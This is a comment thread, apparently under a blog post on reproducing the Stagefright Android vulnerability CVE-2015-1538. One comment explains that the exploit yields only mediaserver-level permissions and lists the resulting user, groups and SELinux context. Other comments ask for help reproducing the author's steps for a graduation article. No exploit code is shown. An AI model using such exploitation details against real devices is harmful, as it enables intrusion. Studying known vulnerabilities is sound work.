    1. Stagefright CVE-2015-1538-1这个漏洞也仅仅只是让我们获取到了media相关的权限,要获取别的权限或者root权限,可以需要其他的漏洞吧,对于原生系统来说,可获取到的权限(用户及用户组)只有这些:
      uid=1013(media) gid=1005(audio) groups=1006(camera),1026(drmrpc),1031(mediadrm),3001(net_bt_admin),3002(net_bt),3003(inet),3007(net_bw_acct) context=u:r:mediaserver:s0

  4. Hi hzak. I hope you’re doing well with this covid situation.

    Could you explain me, how to roll back the two files that you mentioned ?
    i’m trying to reproduce your steps, but i got stuck in this part. Thank you very much !

  5. Hi hzak i solve the problem with the rollback, but in the end i got several problems with compability… There is, by any chance, an way to do this with Android-Studio and sdk tools running in Win 10 ? I would apreciate very much you help in this situation. This is for a article that i’m currently writing for my graduation. Thank you very much.

发表评论

电子邮件地址不会被公开。 必填项已用*标注